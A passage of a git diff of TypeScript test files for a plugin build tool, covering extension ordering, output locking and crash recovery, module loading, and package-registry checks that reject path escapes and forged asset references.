environment: {}, - }); - }; - - /** A 先占用扩展点时的粘滞失败结果。 */ - const forward = await run(['owner-a', 'owner-b']); - /** B 先占用扩展点时的粘滞失败结果。 */ - const reverse = await run(['owner-b', 'owner-a']); - expect(forward.success).toBe(false); - expect(reverse.success).toBe(false); - expect(forward.deliveryUnits).toEqual([]); - expect(reverse.deliveryUnits).toEqual([]); - expect(forward.diagnostics).toContainEqual(expect.objectContaining({ - code: 'ADAPTER_DOCUMENT_PATCH_REJECTED', platform: 'sticky-owner', extension: 'owner-b', - })); - expect(reverse.diagnostics).toContainEqual(expect.objectContaining({ - code: 'ADAPTER_DOCUMENT_PATCH_REJECTED', platform: 'sticky-owner', extension: 'owner-a', - })); - }); - - it('keeps distinct extension points configuration-ordered and deterministic', async () => { - /** 执行指定 Extension 顺序并捕获 generateBundle 看到的最终 Document。 */ - const run = async (order: readonly ('alpha' | 'beta')[]) => { - /** 每次执行独占的最终文档快照。 */ - let generated: unknown; - /** 带两个独立 add-only 扩展点的顺序测试 Platform。 */ - const platform = definePlatform({ - id: 'ordered-adapters', - apiVersion: '1', - deliveryType: 'plugin', - /** 初始 Draft 保持两个扩展点都为空。 */ - prepare: () => ({ - documents: [{ - id: 'manifest', path: 'manifest.json', format: 'json', owner: 'platform:ordered-adapters', - value: { slots: {} }, extensionPoints: [['slots', 'alpha'], ['slots', 'beta']], - }], - artifacts: [], - }), - /** 捕获最终文档并创建最小合法主单元。 */ - generateBundle(context) { - generated = context.documents[0]!.value; - return { id: 'plugin', role: 'primary', type: 'plugin', artifacts: [bytesArtifact('manifest.json', stableJson(generated))] }; - }, - /** 当前顺序测试无需额外候选约束。 */ - validateBundle: () => undefined, - }); - /** Adapter 只写自己的点,但记录执行时已可见的其他字段。 */ - const makeExtension = (point: 'alpha' | 'beta'): AcpluginExtension => defineExtension({ - name: `ordered-${point}`, - apiVersion: '1', - /** 非空发现状态激活当前顺序观察 Adapter。 */ - discover: () => ({ enabled: true }), - adapters: [{ - extensionApiVersion: '1', platform: platform.id, platformApiVersion: '1', - /** 记录当前 Draft 可见字段后只写入自己的扩展点。 */ - apply(context) { - /** 当前 Adapter 执行前可见的 owner-merged Document。 */ - const document = context.getDocument<{ slots: Record }>('manifest')!; - context.patchDocument({ - document: 'manifest', path: ['slots', point], value: { saw: Object.keys(document.slots) }, - }); - }, - }], - }); - /** 当前 Extension 顺序独占的工程根。 */ - const root = await temporaryRoot(); - /** 指定顺序执行后的完整生命周期结果。 */ - const result = await executeLifecycle({ - config: lifecycleConfig(root, 'validate', [platform], order.map(makeExtension)), - /** 当前 Fixture 不加载作者 TypeScript descriptor。 */ - loadTypeScriptModule: async () => undefined, - environment: {}, - }); - expect(result.success).toBe(true); - return generated; - }; - - /** alpha 后 beta 的首次最终文档。 */ - const forward = await run(['alpha', 'beta']); - /** alpha 后 beta 的重复执行文档。 */ - const forwardAgain = await run(['alpha', 'beta']); - /** beta 后 alpha 的首次最终文档。 */ - const reverse = await run(['beta', 'alpha']); - /** beta 后 alpha 的重复执行文档。 */ - const reverseAgain = await run(['beta', 'alpha']); - expect(forward).toEqual({ slots: { alpha: { saw: [] }, beta: { saw: ['alpha'] } } }); - expect(reverse).toEqual({ slots: { alpha: { saw: ['beta'] }, beta: { saw: [] } } }); - expect(forwardAgain).toEqual(forward); - expect(reverseAgain).toEqual(reverse); - }); - - it('authorizes scanned Component files relative to project.root instead of process.cwd()', async () => { - /** 与测试进程 cwd 不同且包含一个规范 Command 的工程根。 */ - const root = await temporaryRoot(); - await fs.mkdir(path.join(root, 'src/commands'), { recursive: true }); - await fs.writeFile(path.join(root, 'src/commands/check.md'), '---\ndescription: Check changes.\n---\nCheck changes.\n'); - /** 将 Scanner 相对 sourcePath 解析为真实文件 Artifact 的虚拟 Platform。 */ - const platform = definePlatform({ - id: 'scanned-source', - apiVersion: '1', - deliveryType: 'plugin', - /** prepare 把 Scanner 相对路径解析为真实工程文件来源。 */ - prepare(context) { - /** Scanner 返回的工程相对 Command 来源路径。 */ - const sourcePath = context.project.commands[0]!.sourcePath; - return { - documents: [], - artifacts: [{ - path: 'commands/check.md', - source: { type: 'file', path: path.resolve(context.project.root, sourcePath) }, - }], - }; - }, - /** generateBundle 透传已完成 owner 校验的扫描文件 Artifact。 */ - generateBundle(context) { - return { id: 'plugin', role: 'primary', type: 'plugin', artifacts: context.artifacts }; - }, - /** validateBundle 接受成功物化的扫描来源候选。 */ - validateBundle: () => undefined, - }); - - /** 在非进程 cwd 工程上执行完整生命周期的结果。 */ - const result = await executeLifecycle({ - config: lifecycleConfig(root, 'validate', [platform], []), - /** 当前 Fixture 不加载真实 TypeScript 作者模块。 */ - loadTypeScriptModule: async () => undefined, - environment: {}, - }); - - expect(result.success).toBe(true); - expect(result.deliveryUnits[0]?.artifacts).toContainEqual(expect.objectContaining({ - path: 'commands/check.md', owner: 'platform:scanned-source', - })); - }); - - it('preserves primary Artifact metadata through the Distribution lifecycle', async () => { - /** 同时生成主 Plugin 和 Marketplace Distribution 的虚拟 Platform。 */ - const platform = definePlatform({ - id: 'distribution-platform', - apiVersion: '1', - deliveryType: 'plugin', - /** prepare 为当前 Distribution 测试创建空 Draft。 */ - prepare: () => ({ documents: [], artifacts: [] }), - /** generateBundle 创建带可执行 Artifact 的主单元。 */ - generateBundle: () => ({ - id: 'plugin', role: 'primary', type: 'plugin', - artifacts: [{ ...bytesArtifact('bin/runner', 'run'), mode: 0o755 }], - }), - /** validateBundle 同时接受主单元和 Distribution 候选。 */ - validateBundle: () => undefined, - /** generateDistributions 复用主单元 Artifact 创建 Marketplace。 */ - generateDistributions(_context, primaryUnits) { - return [{ - id: 'marketplace', role: 'distribution', type: 'marketplace', - artifacts: primaryUnits[0]!.artifacts, - }]; - }, - }); - /** 空工程上的双 DeliveryUnit 生命周期结果。 */ - const root = await temporaryRoot(); - /** 用于对比主单元与 Distribution 元数据的构建报告。 */ - const result = await executeLifecycle({ - config: lifecycleConfig(root, 'validate', [platform], []), - /** 当前 Fixture 不加载真实 TypeScript 作者模块。 */ - loadTypeScriptModule: async () => undefined, - environment: {}, - }); - /** 主 Plugin 单元的唯一 Artifact 报告。 */ - const primary = result.deliveryUnits.find(unit => unit.role === 'primary')!.artifacts[0]!; - /** Marketplace Distribution 复用后的唯一 Artifact 报告。 */ - const distribution = result.deliveryUnits.find(unit => unit.role === 'distribution')!.artifacts[0]!; - - expect(result.success).toBe(true); - expect(distribution).toEqual(primary); - }); -}); diff --git a/packages/core/test/locking.test.ts b/packages/core/test/locking.test.ts deleted file mode 100644 index 9da7750..0000000 --- a/packages/core/test/locking.test.ts +++ /dev/null @@ -1,104 +0,0 @@ -import { promises as fs } from 'node:fs'; -import os from 'node:os'; -import path from 'node:path'; -import { afterEach, describe, expect, it } from 'vitest'; -import { commitDeliveryUnits, type ManagedOutputPhase } from '../src/index.js'; - -/** 锁与崩溃恢复测试创建并统一清理的临时工程。 */ -const temporaryDirectories: string[] = []; - -/** @returns 已登记清理的临时工程根。 */ -async function temporaryRoot(): Promise { - /** 当前测试独占的临时目录。 */ - const root = await fs.mkdtemp(path.join(os.tmpdir(), 'acplugin-locking-test-')); - temporaryDirectories.push(root); - return root; -} - -afterEach(async () => { - await Promise.all(temporaryDirectories.splice(0).map(directory => fs.rm(directory, { recursive: true, force: true }))); -}); - -describe('managed output locking and recovery', () => { - it('rejects a concurrent writer while the first process holds the lock', async () => { - /** 两个 writer 竞争的受管输出工程。 */ - const root = await temporaryRoot(); - /** 两个事务共同竞争锁的输出目录。 */ - const outDir = path.join(root, 'dist'); - /** 第一事务取得锁后通知测试的 resolver。 */ - let notifyLocked!: () => void; - /** 测试允许第一事务继续执行的 resolver。 */ - let releaseLock!: () => void; - /** 确认第一事务已经持锁的同步 Promise。 */ - const locked = new Promise((resolve) => { - notifyLocked = resolve; - }); - /** 第一事务在 lock-acquired 阶段等待的门闩。 */ - const gate = new Promise((resolve) => { - releaseLock = resolve; - }); - /** 持锁但尚未进入 recovery 的第一事务。 */ - const first = commitDeliveryUnits(outDir, [], { - projectRoot: root, - /** onPhase 在取得锁后暂停第一事务,供第二事务验证互斥。 */ - async onPhase(phase: ManagedOutputPhase): Promise { - if (phase === 'lock-acquired') { - notifyLocked(); - await gate; - } - }, - }); - await locked; - - await expect(commitDeliveryUnits(outDir, [], { projectRoot: root })).rejects.toThrow('locked'); - releaseLock(); - await first; - expect((await fs.readdir(root)).filter(name => name.endsWith('.acplugin.lock'))).toEqual([]); - }); - - it('recovers backup state and removes stale stages before starting a new transaction', async () => { - /** 模拟进程在旧输出备份后退出的工程。 */ - const root = await temporaryRoot(); - /** 恢复后应重新出现的正式输出目录。 */ - const outDir = path.join(root, 'dist'); - /** 模拟崩溃时保留完整旧输出的备份目录。 */ - const backup = path.join(root, '.dist.acplugin-backup'); - /** 恢复阶段必须清理的不完整 Stage。 */ - const staleStage = path.join(root, '.dist.acplugin-stage-crashed'); - /** 描述崩溃事务状态的记录文件。 */ - const transaction = path.join(root, '.dist.acplugin-transaction.json'); - await fs.mkdir(backup, { recursive: true }); - await fs.writeFile(path.join(backup, 'old.txt'), 'old'); - await fs.mkdir(staleStage, { recursive: true }); - await fs.writeFile(path.join(staleStage, 'partial.txt'), 'partial'); - await fs.writeFile(transaction, '{"schemaVersion":1}\n'); - - await expect(commitDeliveryUnits(outDir, [], { - projectRoot: root, - /** onPhase 在恢复完成后停止新事务,便于观察恢复结果。 */ - onPhase(phase) { - if (phase === 'recovery-complete') - throw new Error('stop after recovery'); - }, - })).rejects.toThrow('stop after recovery'); - - expect(await fs.readFile(path.join(outDir, 'old.txt'), 'utf8')).toBe('old'); - await expect(fs.access(staleStage)).rejects.toThrow(); - await expect(fs.access(transaction)).rejects.toThrow(); - }); - - it('removes a lock owned by a dead process and completes the commit', async () => { - /** 带死进程锁记录的受管输出工程。 */ - const root = await temporaryRoot(); - /** 死锁清理后应完成提交的输出目录。 */ - const outDir = path.join(root, 'dist'); - /** 指向不存在进程的陈旧锁文件。 */ - const lock = path.join(root, '.dist.acplugin.lock'); - await fs.writeFile(lock, `${JSON.stringify({ schemaVersion: 1, pid: 99_999_999 })}\n`); - - await commitDeliveryUnits(outDir, [], { projectRoot: root }); - - expect(await fs.readdir(outDir)).toEqual([]); - await expect(fs.access(lock)).rejects.toThrow(); - }); -}); diff --git a/packages/core/test/module-host.test.ts b/packages/core/test/module-host.test.ts new file mode 100644 index 0000000..48878c0 --- /dev/null +++ b/packages/core/test/module-host.test.ts @@ -0,0 +1,188 @@ +import { createRequire } from 'node:module'; +import { promises as fs } from 'node:fs'; +import os from 'node:os'; +import path from 'node:path'; +import { pathToFileURL } from 'node:url'; +import { afterEach, describe, expect, it } from 'vitest'; +import { BuildSessionScope } from '../src/kernel/build-session-scope.js'; +import { ModuleHost } from '../src/kernel/module-host.js'; +import { SourceRegistry } from '../src/kernel/source-registry.js'; +import { WatchRegistry } from '../src/kernel/watch-registry.js'; +import { WorkDirectoryRegistry } from '../src/kernel/work-directories.js'; + +/** Module Host 测试创建的临时工程根。 */ +const roots: string[] = []; + +/** + * 写入一个 ESM/CJS package dependency。 + * + * @param root 工程根。 + * @param name package 名称。 + * @param format package 模块格式。 + * @param symlink 是否模拟 pnpm store 目录链接。 + * @returns package 真实物理 entry。 + */ +async function dependency(root: string, name: string, format: 'esm' | 'cjs', symlink = false): Promise { + /** symlink package 使用工程内 store,但正常 node_modules 路径是目录链接。 */ + const packageRoot = symlink ? path.join(root, '.store', name) : path.join(root, 'node_modules', name); + await fs.mkdir(packageRoot, { recursive: true }); + /** 当前格式对应的 package entry 文件名。 */ + const entryName = format === 'esm' ? 'index.js' : 'index.cjs'; + await fs.writeFile(path.join(packageRoot, 'package.json'), JSON.stringify({ + name, + version: '1.2.3', + ...(format === 'esm' ? { type: 'module' } : {}), + exports: `./${entryName}`, + })); + await fs.writeFile(path.join(packageRoot, entryName), format === 'esm' + ? 'export default Object.freeze({ format: "esm" });\n' + : 'module.exports = Object.freeze({ format: "cjs" });\n'); + if (symlink) { + /** node_modules package link 保留正常包管理器解析语义。 */ + const modules = path.join(root, 'node_modules'); + await fs.mkdir(modules, { recursive: true }); + await fs.symlink(packageRoot, path.join(modules, name), 'dir'); + } + return fs.realpath(path.join(packageRoot, entryName)); +} + +/** + * 创建一轮全新的 owner-scoped Module Host Session。 + * + * @param root 工程根。 + * @param sourceRoot 作者模块 root。 + * @param entryRelative 入口相对路径。 + * @param sessionId 独占 work 根后缀。 + * @returns 当前 BuildSession 的 module service 和 watch。 + */ +async function session(root: string, sourceRoot: string, entryRelative: string, sessionId: string) { + /** 每次调用使用新的 capability scope,防止 ESM cache 混入授权语义。 */ + const scope = new BuildSessionScope(); + /** 当前 Session Source Registry。 */ + const sources = new SourceRegistry(scope, root); + /** 当前 Session owner。 */ + const owner = 'framework:config'; + /** config 来源根 ref。 */ + const sourceDirectory = await sources.issueRoot(owner, sourceRoot); + /** config 精确入口 ref。 */ + const entry = await sources.service(owner).file(sourceDirectory, entryRelative); + /** 当前 Session 独占 workDir。 */ + const workDirectories = new WorkDirectoryRegistry(scope, path.join(root, '.work', sessionId)); + /** 当前 Session 唯一 Watch Registry。 */ + const watch = new WatchRegistry(scope, root); + /** 当前 Session 唯一 Module Host。 */ + const host = new ModuleHost({ projectRoot: root, sources, workDirectories, watch }); + return { scope, watch, entry, service: host.service(owner) }; +} + +/** + * 创建包含 local graph、imports map 和 ESM/CJS package 的工程。 + * + * @param symlink ESM dependency 是否使用 package-manager link。 + * @returns 可用于多 Session 的工程 fixture。 + */ +async function fixture(symlink = false) { + /** 当前测试独占工程根。 */ + const root = await fs.mkdtemp(path.join(os.tmpdir(), 'acplugin-module-host-')); + roots.push(root); + /** Module Host 被授权的作者模块根。 */ + const sourceRoot = path.join(root, 'src', 'config'); + await fs.mkdir(sourceRoot, { recursive: true }); + await fs.writeFile(path.join(root, 'package.json'), JSON.stringify({ + name: 'module-host-project', + version: '1.0.0', + type: 'module', + imports: { '#local': './src/config/imported.ts' }, + })); + await fs.writeFile(path.join(sourceRoot, 'helper.ts'), 'export const local: string = "local";\n'); + await fs.writeFile(path.join(sourceRoot, 'imported.ts'), 'export const imported: string = "imports-map";\n'); + /** ESM package 可选使用 pnpm 风格链接。 */ + const esmEntry = await dependency(root, 'esm-fixture', 'esm', symlink); + /** CJS package 验证 Node external interop identity。 */ + const cjsEntry = await dependency(root, 'cjs-fixture', 'cjs'); + await fs.writeFile(path.join(sourceRoot, 'config.ts'), [ + 'import esm from "esm-fixture";', + 'import cjs from "cjs-fixture";', + 'import { local } from "./helper.ts";', + 'import { imported } from "#local";', + 'export default { esm, cjs, local, imported };', + ].join('\n')); + return { root, sourceRoot, esmEntry, cjsEntry }; +} + +afterEach(async () => { + await Promise.all(roots.splice(0).map(root => fs.rm(root, { recursive: true, force: true }))); +}); + +describe('ModuleHost', () => { + it('bundles local TypeScript and preserves ESM/CJS package instance identity', async () => { + /** package manager link 同时覆盖外部真实路径和 watch identity。 */ + const current = await fixture(true); + /** 当前全新 Module Session。 */ + const currentSession = await session(current.root, current.sourceRoot, 'config.ts', 'first'); + const result = await currentSession.service.loadDefault<{ + readonly esm: object; + readonly cjs: object; + readonly local: string; + readonly imported: string; + }>({ id: 'project-config', entry: currentSession.entry }); + /** 直接 Node import 必须观察同一 externalized ESM instance。 */ + const directEsm = await import(pathToFileURL(current.esmEntry).href) as { readonly default: object }; + /** require 与 Module Host 的 CJS default 必须观察同一 Node cache identity。 */ + const directCjs = createRequire(import.meta.url)(current.cjsEntry) as object; + + expect(result.local).toBe('local'); + expect(result.imported).toBe('imports-map'); + expect(result.esm).toBe(directEsm.default); + expect(result.cjs).toBe(directCjs); + expect(currentSession.watch.snapshot().identities).toEqual(expect.arrayContaining([ + 'package.json', + 'src/config/config.ts', + 'src/config/helper.ts', + 'src/config/imported.ts', + 'package:esm-fixture@1.2.3/index.js', + 'package:esm-fixture@1.2.3/package.json', + 'package:cjs-fixture@1.2.3/index.cjs', + 'package:cjs-fixture@1.2.3/package.json', + ])); + }); + + it('freshly evaluates each BuildSession and rejects a missing default export', async () => { + /** 当前测试独占工程。 */ + const current = await fixture(); + await fs.writeFile(path.join(current.sourceRoot, 'fresh.ts'), 'export default { value: 1 };\n'); + /** 第一轮独立 Session 读取旧值。 */ + const first = await session(current.root, current.sourceRoot, 'fresh.ts', 'fresh-one'); + await expect(first.service.loadDefault<{ readonly value: number }>({ id: 'fresh-config', entry: first.entry })).resolves.toEqual({ value: 1 }); + first.scope.close(); + await fs.writeFile(path.join(current.sourceRoot, 'fresh.ts'), 'export default { value: 2 };\n'); + /** 新 SourceRef + work URL 必须绕开上一轮 ESM cache。 */ + const second = await session(current.root, current.sourceRoot, 'fresh.ts', 'fresh-two'); + await expect(second.service.loadDefault<{ readonly value: number }>({ id: 'fresh-config', entry: second.entry })).resolves.toEqual({ value: 2 }); + + await fs.writeFile(path.join(current.sourceRoot, 'missing-default.ts'), 'export const value = 1;\n'); + /** 缺少 default export 是稳定的 Module contract failure。 */ + const missing = await session(current.root, current.sourceRoot, 'missing-default.ts', 'missing'); + await expect(missing.service.loadDefault({ id: 'missing-default', entry: missing.entry })).rejects.toThrow('default export'); + }); + + it('rejects local source escape, non-literal dynamic import and duplicate operations', async () => { + /** 当前测试独占工程。 */ + const current = await fixture(); + await fs.writeFile(path.join(current.root, 'outside.ts'), 'export default "outside";\n'); + await fs.writeFile(path.join(current.sourceRoot, 'escape.ts'), 'export { default } from "../../outside.ts";\n'); + await fs.writeFile(path.join(current.sourceRoot, 'dynamic.ts'), 'const target = "./helper.ts"; export default import(target);\n'); + + /** local graph 不得越过当前 Source root。 */ + const escaped = await session(current.root, current.sourceRoot, 'escape.ts', 'escape'); + await expect(escaped.service.loadDefault({ id: 'escape-config', entry: escaped.entry })).rejects.toThrow('escaped'); + /** 无法静态登记的动态 import 不得留到 runtime。 */ + const dynamic = await session(current.root, current.sourceRoot, 'dynamic.ts', 'dynamic'); + await expect(dynamic.service.loadDefault({ id: 'dynamic-config', entry: dynamic.entry })).rejects.toThrow('non-literal dynamic import'); + + /** owner 内 operation ID 只能消费一次,避免覆盖 work output/watch identity。 */ + const duplicate = await session(current.root, current.sourceRoot, 'config.ts', 'duplicate'); + await duplicate.service.loadDefault({ id: 'same-operation', entry: duplicate.entry }); + await expect(duplicate.service.loadDefault({ id: 'same-operation', entry: duplicate.entry })).rejects.toThrow('already used'); + }); +}); diff --git a/packages/core/test/package-registry.test.ts b/packages/core/test/package-registry.test.ts new file mode 100644 index 0000000..d37e4e9 --- /dev/null +++ b/packages/core/test/package-registry.test.ts @@ -0,0 +1,235 @@ +import { promises as fs } from 'node:fs'; +import os from 'node:os'; +import path from 'node:path'; +import { afterEach, describe, expect, it } from 'vitest'; +import type { PackageContribution, PlatformPackageInput } from '../src/kernel-types.js'; +import { AssetRegistry } from '../src/kernel/asset-registry.js'; +import { BuildSessionScope } from '../src/kernel/build-session-scope.js'; +import { SourceRegistry } from '../src/kernel/source-registry.js'; +import { WorkDirectoryRegistry } from '../src/kernel/work-directories.js'; +import { + createBasePackage, + finalizePrimaryPackage, + mergePackageContributions, +} from '../src/package/package-registry.js'; + +/** Package Registry 测试临时根。 */ +const roots: string[] = []; + +/** @returns 当前 Session Asset Registry 与 owner services。 */ +async function fixture() { + const root = await fs.mkdtemp(path.join(os.tmpdir(), 'acplugin-package-registry-')); + roots.push(root); + const scope = new BuildSessionScope(); + const sources = new SourceRegistry(scope, root); + const work = new WorkDirectoryRegistry(scope, path.join(root, '.work')); + const assets = new AssetRegistry(scope, sources, work); + return { root, assets }; +} + +/** @returns 另一 BuildSession,用于证明 ref identity 不跨 Session。 */ +async function otherAssets(root: string): Promise { + const scope = new BuildSessionScope(); + const sources = new SourceRegistry(scope, root); + const work = new WorkDirectoryRegistry(scope, path.join(root, '.work-other')); + return new AssetRegistry(scope, sources, work); +} + +afterEach(async () => { + await Promise.all(roots.splice(0).map(root => fs.rm(root, { recursive: true, force: true }))); +}); + +/** @returns 带两个 extension point 的 Platform base Package。 */ +async function baseInput(assets: AssetRegistry): Promise { + const readme = await assets.service('platform:target').fromBytes({ + bytes: 'readme\n', + origin: { operation: 'platform-readme' }, + }); + return { + documents: [{ + id: 'manifest', + path: 'plugin.json', + format: 'json', + value: { extensions: {} }, + extensionPoints: [['extensions', 'hooks'], ['extensions', 'mcp']], + }], + assets: [{ path: 'README.md', asset: readme }], + compatibility: [{ subject: 'skill:review', capability: 'component', level: 'native', reason: 'Native.' }], + metadata: [ + { field: 'name', disposition: 'emitted', output: 'manifest.name', reason: 'Emitted.' }, + { field: 'version', disposition: 'emitted', output: 'manifest.version', reason: 'Emitted.' }, + { field: 'description', disposition: 'emitted', output: 'manifest.description', reason: 'Emitted.' }, + ], + }; +} + +describe('Package Registry', () => { + it('creates immutable base snapshots and rejects occupied or colliding Documents', async () => { + const current = await fixture(); + const input = await baseInput(current.assets); + const base = createBasePackage('target', input, current.assets); + + expect(base.documents[0]).toMatchObject({ id: 'manifest', path: 'plugin.json', emission: 'required' }); + expect(Object.isFrozen(base)).toBe(true); + expect(Object.isFrozen(base.documents[0]?.value)).toBe(true); + expect(() => createBasePackage('target', { + ...input, + documents: [{ ...input.documents[0]!, value: { extensions: { hooks: true } }, extensionPoints: [['extensions', 'hooks']] }], + }, current.assets)).toThrow('empty field'); + expect(() => createBasePackage('target', { + ...input, + documents: [...input.documents, { ...input.documents[0]!, id: 'other', path: 'PLUGIN.json', extensionPoints: [] }], + }, current.assets)).toThrow('collides'); + /** null-prototype JSON records are valid data containers at the package boundary. */ + const nullPrototype = Object.assign(Object.create(null) as Record, { + extensions: Object.create(null) as Record, + }); + expect(createBasePackage('target', { + ...input, + documents: [{ ...input.documents[0]!, value: nullPrototype as never }], + }, current.assets).documents[0]?.value).toEqual({ extensions: {} }); + }); + + it('merges contributions independently of configuration/completion order', async () => { + const current = await fixture(); + const base = createBasePackage('target', await baseInput(current.assets), current.assets); + const hooksAsset = await current.assets.service('extension:hooks').fromBytes({ + bytes: 'hooks', origin: { operation: 'hooks-runtime', subjects: ['hook:pre-tool'] }, + }); + const mcpAsset = await current.assets.service('extension:mcp').fromBytes({ + bytes: 'mcp', origin: { operation: 'mcp-runtime', subjects: ['mcp:tools'] }, + }); + const contributions = [ + { + owner: 'extension:mcp', + subjects: [{ subject: 'mcp:tools', capabilities: ['runtime'] }], + contribution: { + documentFields: [{ document: 'manifest', path: ['extensions', 'mcp'], value: { enabled: true } }], + assets: [{ path: 'runtime/mcp.mjs', asset: mcpAsset }], + compatibility: [{ subject: 'mcp:tools', capability: 'runtime', level: 'native', reason: 'Native.' }], + }, + }, + { + owner: 'extension:hooks', + subjects: [{ subject: 'hook:pre-tool', capabilities: ['runtime'] }], + contribution: { + documentFields: [{ document: 'manifest', path: ['extensions', 'hooks'], value: { enabled: true } }], + assets: [{ path: 'runtime/hooks.mjs', asset: hooksAsset }], + compatibility: [{ subject: 'hook:pre-tool', capability: 'runtime', level: 'native', reason: 'Native.' }], + }, + }, + ] as const; + + const first = mergePackageContributions('target', base, contributions, current.assets); + const second = mergePackageContributions('target', base, [...contributions].reverse(), current.assets); + expect(first.documents[0]?.value).toEqual(second.documents[0]?.value); + expect(first.assets.map(asset => [asset.path, asset.owner])).toEqual(second.assets.map(asset => [asset.path, asset.owner])); + expect(first.assets.map(asset => asset.path)).toEqual(['README.md', 'runtime/hooks.mjs', 'runtime/mcp.mjs']); + }); + + it('keeps async contributor completion order outside centralized merge semantics', async () => { + const current = await fixture(); + const base = createBasePackage('target', await baseInput(current.assets), current.assets); + /** 每个异步 producer 只返回 owner-bound Contribution,不观察其他 producer。 */ + const produce = async (owner: 'extension:hooks' | 'extension:mcp', delay: number) => { + await new Promise(resolve => setTimeout(resolve, delay)); + const id = owner.slice('extension:'.length); + const asset = await current.assets.service(owner).fromBytes({ bytes: id, origin: { operation: `${id}-runtime` } }); + return { + owner, + contribution: { + documentFields: [{ document: 'manifest', path: ['extensions', id], value: { enabled: true } }], + assets: [{ path: `runtime/${id}.mjs`, asset }], + compatibility: [], + }, + } as const; + }; + const hooksFirst = await Promise.all([produce('extension:hooks', 0), produce('extension:mcp', 10)]); + const mcpFirst = await Promise.all([produce('extension:mcp', 0), produce('extension:hooks', 10)]); + + const first = mergePackageContributions('target', base, hooksFirst, current.assets); + const second = mergePackageContributions('target', base, mcpFirst, current.assets); + expect(first.documents).toEqual(second.documents); + expect(first.assets.map(asset => [asset.path, asset.owner])).toEqual(second.assets.map(asset => [asset.path, asset.owner])); + }); + + it('rejects undeclared/duplicate fields, path collisions, forged refs and missing subject coverage', async () => { + const current = await fixture(); + const base = createBasePackage('target', await baseInput(current.assets), current.assets); + const hooksAsset = await current.assets.service('extension:hooks').fromBytes({ bytes: 'hooks', origin: { operation: 'hooks-runtime' } }); + const contribution = (value: Partial): PackageContribution => ({ compatibility: [], ...value }); + + expect(() => mergePackageContributions('target', base, [{ + owner: 'extension:hooks', contribution: contribution({ documentFields: [{ document: 'manifest', path: ['extensions', 'unknown'], value: true }] }), + }], current.assets)).toThrow('undeclared'); + expect(() => mergePackageContributions('target', base, [ + { owner: 'extension:a', contribution: contribution({ documentFields: [{ document: 'manifest', path: ['extensions', 'hooks'], value: true }] }) }, + { owner: 'extension:b', contribution: contribution({ documentFields: [{ document: 'manifest', path: ['extensions', 'hooks'], value: false }] }) }, + ], current.assets)).toThrow('claimed by both'); + expect(() => mergePackageContributions('target', base, [{ + owner: 'extension:hooks', contribution: contribution({ assets: [{ path: 'readme.md', asset: hooksAsset }] }), + }], current.assets)).toThrow('collides'); + expect(() => mergePackageContributions('target', base, [{ + owner: 'extension:other', contribution: contribution({ assets: [{ path: 'runtime/hooks.mjs', asset: hooksAsset }] }), + }], current.assets)).toThrow('not authorized'); + expect(() => mergePackageContributions('target', base, [{ + owner: 'extension:hooks', subjects: [{ subject: 'hook:pre-tool', capabilities: ['runtime'] }], contribution: contribution({}), + }], current.assets)).toThrow('does not cover'); + /** forged ref 与另一 BuildSession 的真实 ref 都不能进入当前 Package。 */ + expect(() => mergePackageContributions('target', base, [{ + owner: 'extension:hooks', contribution: contribution({ assets: [{ path: 'runtime/forged.mjs', asset: Object.freeze({ ...hooksAsset }) }] }), + }], current.assets)).toThrow('not authorized'); + const other = await otherAssets(current.root); + const crossSession = await other.service('extension:hooks').fromBytes({ bytes: 'other', origin: { operation: 'other-runtime' } }); + expect(() => mergePackageContributions('target', base, [{ + owner: 'extension:hooks', contribution: contribution({ assets: [{ path: 'runtime/other.mjs', asset: crossSession }] }), + }], current.assets)).toThrow('BuildSession'); + }); + + it('rejects behavior-bearing package, contribution and compatibility objects', async () => { + const current = await fixture(); + const input = await baseInput(current.assets); + class PackageInput {} + const accessor = Object.defineProperty({}, 'documents', { get: () => [], enumerable: true }); + expect(() => createBasePackage('target', new PackageInput() as never, current.assets)).toThrow('plain object'); + expect(() => createBasePackage('target', accessor as never, current.assets)).toThrow('data property'); + expect(() => createBasePackage('target', { ...input, [Symbol('hidden')]: true } as never, current.assets)).toThrow('Symbol'); + expect(() => createBasePackage('target', { + ...input, + compatibility: [Object.defineProperty({}, 'subject', { get: () => 'skill:review', enumerable: true }) as never], + }, current.assets)).toThrow('data property'); + + const base = createBasePackage('target', input, current.assets); + const cycle: Record = {}; + cycle.self = cycle; + expect(() => mergePackageContributions('target', base, [{ + owner: 'extension:hooks', + contribution: { + documentFields: [{ document: 'manifest', path: ['extensions', 'hooks'], value: cycle as never }], + compatibility: [], + }, + }], current.assets)).toThrow('cycles'); + }); + + it('finalizes a primary Unit by automatically inheriting assets and Core-encoded Documents', async () => { + const current = await fixture(); + const base = createBasePackage('target', await baseInput(current.assets), current.assets); + const finalAsset = await current.assets.service('platform:target').fromBytes({ bytes: 'final', origin: { operation: 'final-manifest' } }); + const primary = await finalizePrimaryPackage('target', 'plugin', base, { + id: 'plugin', type: 'plugin', assets: [{ path: 'final.txt', asset: finalAsset }], + }, current.assets); + + expect(primary.assets.map(asset => asset.path)).toEqual(['README.md', 'final.txt', 'plugin.json']); + const documentAsset = primary.assets.find(asset => asset.path === 'plugin.json')!; + expect(new TextDecoder().decode(await current.assets.service('platform:target').read(documentAsset.asset))).toContain('"extensions"'); + await expect(finalizePrimaryPackage('target', 'plugin', base, { + id: 'plugin', type: 'workspace', + }, current.assets)).rejects.toThrow('delivery type'); + /** finalize 不能借助既有 grant 把其他 owner ref 伪装成新增 Platform Asset。 */ + const foreign = await current.assets.service('extension:foreign').fromBytes({ bytes: 'foreign', origin: { operation: 'foreign' } }); + current.assets.grant('extension:foreign', 'platform:target', foreign); + await expect(finalizePrimaryPackage('target', 'plugin', base, { + id: 'plugin', type: 'plugin', assets: [{ path: 'foreign.txt', asset: foreign }], + }, current.assets)).rejects.toThrow('current Platform'); + }); +}); diff --git a/packages/core/test/project-graph.test.ts b/packages/core/test/project-graph.test.ts new file mode 100644 index 0000000..8da30c0 --- /dev/null +++ b/packages/core/test/project-graph.test.ts @@ -0,0 +1,32 @@ +import { describe, expect, it } from 'vitest'; +import type { CanonicalProject, NodeRuntimeResource, PublicResourceFile } from '../src/kernel-types.js'; +import { assembleProjectGraph } from '../src/resources/project-graph.js'; + +describe('Project Graph assembly', () => { + it('preserves immutable provider identities and exposes no project root', () => { + const canonical: CanonicalProject = Object.freeze({ + metadata: Object.freeze({ name: 'graph', version: '1.0.0', description: 'Graph.', keywords: Object.freeze([]) }), + commands: Object.freeze([]), + skills: Object.freeze([]), + agents: Object.freeze([]), + publicFiles: Object.freeze([]), + }); + const publicFiles = Object.freeze([ + { path: 'schema.json', asset: Object.freeze({ kind: 'source-asset' }) 